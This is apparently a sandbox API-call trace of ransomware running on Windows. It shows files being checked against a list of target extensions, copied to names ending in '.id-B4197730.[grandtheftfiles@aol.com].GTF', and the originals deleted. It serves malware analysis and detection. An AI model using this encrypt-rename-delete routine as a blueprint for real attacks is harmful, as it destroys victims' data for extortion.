	[0183.206] lstrlenW (lpString=".jpg") returned 4
	[0183.206] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0183.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_OEM_Perp-ppd.xrm-ms") returned 78
	[0183.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_OEM_Perp-ppd.xrm-ms") returned 78
	[0183.206] lstrlenW (lpString=".doc") returned 4
	[0183.206] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0183.206] lstrlenW (lpString=".docx") returned 5
	[0183.206] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0183.206] lstrlenW (lpString=".pdf") returned 4
	[0183.206] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0183.206] lstrlenW (lpString=".xls") returned 4
	[0183.206] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0183.206] lstrlenW (lpString=".xlsx") returned 5
	[0183.206] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0183.206] lstrlenW (lpString=".ppt") returned 4
	[0183.206] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0183.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_OEM_Perp-ppd.xrm-ms") returned 78
	[0183.206] lstrlenW (lpString=".zip") returned 4
	[0183.206] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0183.206] lstrlenW (lpString=".rar") returned 4
	[0183.206] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0183.206] lstrlenW (lpString=".bz2") returned 4
	[0183.206] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0183.206] lstrlenW (lpString=".7z") returned 3
	[0183.206] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0183.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_OEM_Perp-ppd.xrm-ms") returned 78
	[0183.206] lstrlenW (lpString=".dbf") returned 4
	[0183.206] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0183.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_OEM_Perp-ppd.xrm-ms") returned 78
	[0183.206] lstrlenW (lpString=".1cd") returned 4
	[0183.206] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0183.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_OEM_Perp-ppd.xrm-ms") returned 78
	[0183.206] lstrlenW (lpString=".jpg") returned 4
	[0183.206] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0183.207] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0183.207] lstrlenW (lpString="OutlookR_OEM_Perp-ul-oob.xrm-ms") returned 31
	[0183.207] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookr_oem_perp-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568
	[0183.207] GetFileSizeEx (in: hFile=0x568, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=11592) returned 1
	[0183.207] CloseHandle (hObject=0x568) returned 1
	[0183.207] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookr_oem_perp-ul-oob.xrm-ms")) returned 0x220
	[0183.207] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookr_oem_perp-ul-oob.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0183.208] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookr_oem_perp-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568
	[0183.208] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.208] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.208] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookr_oem_perp-ul-oob.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x298
	[0183.209] GetLastError () returned 0x0
	[0183.209] ReadFile (in: hFile=0x568, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2c0fecc*=0x2d48, lpOverlapped=0x0) returned 1
	[0183.211] WriteFile (in: hFile=0x298, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x2d50, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2c0fc94*=0x2d50, lpOverlapped=0x0) returned 1
	[0183.212] ReadFile (in: hFile=0x568, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0183.212] WriteFile (in: hFile=0x298, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2c0fc94*=0x112, lpOverlapped=0x0) returned 1
	[0183.212] SetEndOfFile (hFile=0x298) returned 1
	[0183.212] CloseHandle (hObject=0x298) returned 1
	[0183.212] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.212] SetEndOfFile (hFile=0x568) returned 1
	[0183.215] CloseHandle (hObject=0x568) returned 1
	[0183.215] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0183.215] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookr_oem_perp-ul-oob.xrm-ms")) returned 1
	[0183.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_OEM_Perp-ul-oob.xrm-ms") returned 81
	[0183.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_OEM_Perp-ul-oob.xrm-ms") returned 81
	[0183.216] lstrlenW (lpString=".doc") returned 4
	[0183.216] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0183.216] lstrlenW (lpString=".docx") returned 5
	[0183.216] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0183.216] lstrlenW (lpString=".pdf") returned 4
	[0183.216] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0183.216] lstrlenW (lpString=".xls") returned 4
	[0183.216] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0183.216] lstrlenW (lpString=".xlsx") returned 5
	[0183.216] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0183.216] lstrlenW (lpString=".ppt") returned 4
	[0183.216] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0183.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_OEM_Perp-ul-oob.xrm-ms") returned 81
	[0183.216] lstrlenW (lpString=".zip") returned 4
	[0183.216] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0183.216] lstrlenW (lpString=".rar") returned 4
	[0183.216] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0183.216] lstrlenW (lpString=".bz2") returned 4
	[0183.216] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0183.216] lstrlenW (lpString=".7z") returned 3
	[0183.216] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0183.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_OEM_Perp-ul-oob.xrm-ms") returned 81
	[0183.216] lstrlenW (lpString=".dbf") returned 4
	[0183.216] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0183.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_OEM_Perp-ul-oob.xrm-ms") returned 81
	[0183.216] lstrlenW (lpString=".1cd") returned 4
	[0183.216] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0183.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_OEM_Perp-ul-oob.xrm-ms") returned 81
	[0183.217] lstrlenW (lpString=".jpg") returned 4
	[0183.217] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0183.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_OEM_Perp-ul-oob.xrm-ms") returned 81
	[0183.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_OEM_Perp-ul-oob.xrm-ms") returned 81
	[0183.217] lstrlenW (lpString=".doc") returned 4
	[0183.217] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0183.217] lstrlenW (lpString=".docx") returned 5
	[0183.217] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0183.217] lstrlenW (lpString=".pdf") returned 4
	[0183.217] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0183.217] lstrlenW (lpString=".xls") returned 4
	[0183.217] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0183.217] lstrlenW (lpString=".xlsx") returned 5
	[0183.217] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0183.217] lstrlenW (lpString=".ppt") returned 4
	[0183.217] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0183.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_OEM_Perp-ul-oob.xrm-ms") returned 81
	[0183.217] lstrlenW (lpString=".zip") returned 4
	[0183.217] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0183.217] lstrlenW (lpString=".rar") returned 4
	[0183.217] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0183.217] lstrlenW (lpString=".bz2") returned 4
	[0183.217] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0183.217] lstrlenW (lpString=".7z") returned 3
	[0183.217] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0183.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_OEM_Perp-ul-oob.xrm-ms") returned 81
	[0183.217] lstrlenW (lpString=".dbf") returned 4
	[0183.217] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0183.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_OEM_Perp-ul-oob.xrm-ms") returned 81
	[0183.217] lstrlenW (lpString=".1cd") returned 4
	[0183.217] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0183.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_OEM_Perp-ul-oob.xrm-ms") returned 81
	[0183.217] lstrlenW (lpString=".jpg") returned 4
	[0183.217] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0183.218] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0183.218] lstrlenW (lpString="OutlookR_OEM_Perp-ul-phn.xrm-ms") returned 31
	[0183.218] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookr_oem_perp-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x428
	[0183.551] GetFileSizeEx (in: hFile=0x428, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=19937) returned 1
	[0183.551] CloseHandle (hObject=0x428) returned 1
	[0183.551] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookr_oem_perp-ul-phn.xrm-ms")) returned 0x220
	[0183.723] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookr_oem_perp-ul-phn.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0183.984] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookr_oem_perp-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c
	[0184.453] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.453] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.453] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookr_oem_perp-ul-phn.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0185.106] GetLastError () returned 0x0
	[0185.106] ReadFile (in: hFile=0x52c, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 0
	[0185.108] CloseHandle (hObject=0x33c) returned 1
	[0185.109] CloseHandle (hObject=0x52c) returned 1
	[0185.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_OEM_Perp-ul-phn.xrm-ms") returned 81
	[0185.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_OEM_Perp-ul-phn.xrm-ms") returned 81
	[0185.109] lstrlenW (lpString=".doc") returned 4
	[0185.109] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0185.109] lstrlenW (lpString=".docx") returned 5
	[0185.109] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0185.109] lstrlenW (lpString=".pdf") returned 4
	[0185.109] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0185.109] lstrlenW (lpString=".xls") returned 4
	[0185.109] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0185.109] lstrlenW (lpString=".xlsx") returned 5
	[0185.109] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0185.109] lstrlenW (lpString=".ppt") returned 4
	[0185.109] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0185.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_OEM_Perp-ul-phn.xrm-ms") returned 81
	[0185.109] lstrlenW (lpString=".zip") returned 4
	[0185.109] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0185.109] lstrlenW (lpString=".rar") returned 4
	[0185.109] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0185.109] lstrlenW (lpString=".bz2") returned 4
	[0185.109] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0185.109] lstrlenW (lpString=".7z") returned 3
	[0185.109] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0185.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_OEM_Perp-ul-phn.xrm-ms") returned 81
	[0185.109] lstrlenW (lpString=".dbf") returned 4
	[0185.109] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0185.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_OEM_Perp-ul-phn.xrm-ms") returned 81
	[0185.109] lstrlenW (lpString=".1cd") returned 4
	[0185.110] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0185.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_OEM_Perp-ul-phn.xrm-ms") returned 81
	[0185.110] lstrlenW (lpString=".jpg") returned 4
	[0185.110] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0185.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_OEM_Perp-ul-phn.xrm-ms") returned 81
	[0185.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_OEM_Perp-ul-phn.xrm-ms") returned 81
	[0185.110] lstrlenW (lpString=".doc") returned 4
	[0185.110] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0185.110] lstrlenW (lpString=".docx") returned 5
	[0185.110] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0185.110] lstrlenW (lpString=".pdf") returned 4
	[0185.110] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0185.110] lstrlenW (lpString=".xls") returned 4
	[0185.110] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0185.110] lstrlenW (lpString=".xlsx") returned 5
	[0185.110] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0185.110] lstrlenW (lpString=".ppt") returned 4
	[0185.110] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0185.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_OEM_Perp-ul-phn.xrm-ms") returned 81
	[0185.110] lstrlenW (lpString=".zip") returned 4
	[0185.110] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0185.110] lstrlenW (lpString=".rar") returned 4
	[0185.110] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0185.110] lstrlenW (lpString=".bz2") returned 4
	[0185.110] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0185.110] lstrlenW (lpString=".7z") returned 3
	[0185.110] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0185.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_OEM_Perp-ul-phn.xrm-ms") returned 81
	[0185.110] lstrlenW (lpString=".dbf") returned 4
	[0185.110] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0185.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_OEM_Perp-ul-phn.xrm-ms") returned 81
	[0185.110] lstrlenW (lpString=".1cd") returned 4
	[0185.110] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0185.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_OEM_Perp-ul-phn.xrm-ms") returned 81
	[0185.110] lstrlenW (lpString=".jpg") returned 4
	[0185.111] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0185.111] lstrlenW (lpString=".id-") returned 4
	[0185.111] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x625578 | out: hHeap=0x5a0000) returned 1
	[0185.111] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x622cc8 | out: hHeap=0x5a0000) returned 1
	[0185.111] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x64bf70 | out: hHeap=0x5a0000) returned 1
	[0185.112] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x65bf78 | out: hHeap=0x5a0000) returned 1
	[0185.113] HeapFree (hHeap=0x5a0000, dwFlags=0x0, lpMem=0x375d020) 

Thread:
	id = 40
	os_tid = 0xe04

	[0152.736] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10000) returned 0x66bf80
	[0152.736] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10000) returned 0x67bf88
	[0152.737] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x6254a0
	[0152.737] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x6) returned 0x622de8
	[0152.737] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x6255a8
	[0152.737] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x100000) returned 0x3895020
	[0152.739] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x6254e8
	[0152.739] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x6254e8, Size=0x20) returned 0x5dde80
	[0152.739] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x6255d8
	[0152.739] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x6255d8, Size=0x20) returned 0x5ddfe8
	[0152.739] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x77950000
	[0152.740] GetProcAddress (hModule=0x77950000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x77966b30
	[0152.740] Wow64DisableWow64FsRedirection (in: OldValue=0x2d4ff50 | out: OldValue=0x2d4ff50*=0x0) returned 1
	[0152.740] lstrlenW (lpString="kernel32.dll") returned 12
	[0152.740] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5dde80 | out: hHeap=0x5a0000) returned 1
	[0152.740] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0152.740] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5ddfe8 | out: hHeap=0x5a0000) returned 1
	[0152.740] Sleep (dwMilliseconds=0x64) 
	[0152.859] Sleep (dwMilliseconds=0x64) 
	[0153.158] Sleep (dwMilliseconds=0x64) 
	[0153.421] lstrcmpiW (lpString1=".dll", lpString2=".GTF") returned -1
	[0153.430] lstrlenW (lpString="bootvhd.dll") returned 11
	[0153.430] CreateFileW (lpFileName="C:\\Boot\\bootvhd.dll" (normalized: "c:\\boot\\bootvhd.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0153.430] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=99744) returned 1
	[0153.430] CloseHandle (hObject=0x388) returned 1
	[0153.430] GetFileAttributesW (lpFileName="C:\\Boot\\bootvhd.dll" (normalized: "c:\\boot\\bootvhd.dll")) returned 0x20
	[0153.430] GetFileAttributesW (lpFileName="C:\\Boot\\bootvhd.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\boot\\bootvhd.dll.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0153.430] CreateFileW (lpFileName="C:\\Boot\\bootvhd.dll" (normalized: "c:\\boot\\bootvhd.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0153.430] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19
	[0153.430] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19
	[0153.431] lstrlenW (lpString=".doc") returned 4
	[0153.431] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0153.431] lstrlenW (lpString=".docx") returned 5
	[0153.431] lstrcmpiW (lpString1=".docx", lpString2="d.dll") returned -1
	[0153.431] lstrlenW (lpString=".pdf") returned 4
	[0153.431] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0153.431] lstrlenW (lpString=".xls") returned 4
	[0153.431] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0153.431] lstrlenW (lpString=".xlsx") returned 5
	[0153.431] lstrcmpiW (lpString1=".xlsx", lpString2="d.dll") returned -1
	[0153.431] lstrlenW (lpString=".ppt") returned 4
	[0153.431] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0153.431] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19
	[0153.431] lstrlenW (lpString=".zip") returned 4
	[0153.431] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0153.431] lstrlenW (lpString=".rar") returned 4
	[0153.431] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0153.431] lstrlenW (lpString=".bz2") returned 4
	[0153.431] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0153.431] lstrlenW (lpString=".7z") returned 3
	[0153.431] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0153.431] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19
	[0153.431] lstrlenW (lpString=".dbf") returned 4
	[0153.431] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0153.431] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19
	[0153.431] lstrlenW (lpString=".1cd") returned 4
	[0153.431] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0153.431] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19
	[0153.431] lstrlenW (lpString=".jpg") returned 4
	[0153.431] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0153.431] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19
	[0153.431] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19
	[0153.431] lstrlenW (lpString=".doc") returned 4
	[0153.431] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0153.431] lstrlenW (lpString=".docx") returned 5
	[0153.431] lstrcmpiW (lpString1=".docx", lpString2="d.dll") returned -1
	[0153.431] lstrlenW (lpString=".pdf") returned 4
	[0153.432] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0153.432] lstrlenW (lpString=".xls") returned 4
	[0153.432] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0153.432] lstrlenW (lpString=".xlsx") returned 5
	[0153.432] lstrcmpiW (lpString1=".xlsx", lpString2="d.dll") returned -1
	[0153.432] lstrlenW (lpString=".ppt") returned 4
	[0153.432] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0153.432] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19
	[0153.432] lstrlenW (lpString=".zip") returned 4
	[0153.432] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0153.432] lstrlenW (lpString=".rar") returned 4
	[0153.432] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0153.432] lstrlenW (lpString=".bz2") returned 4
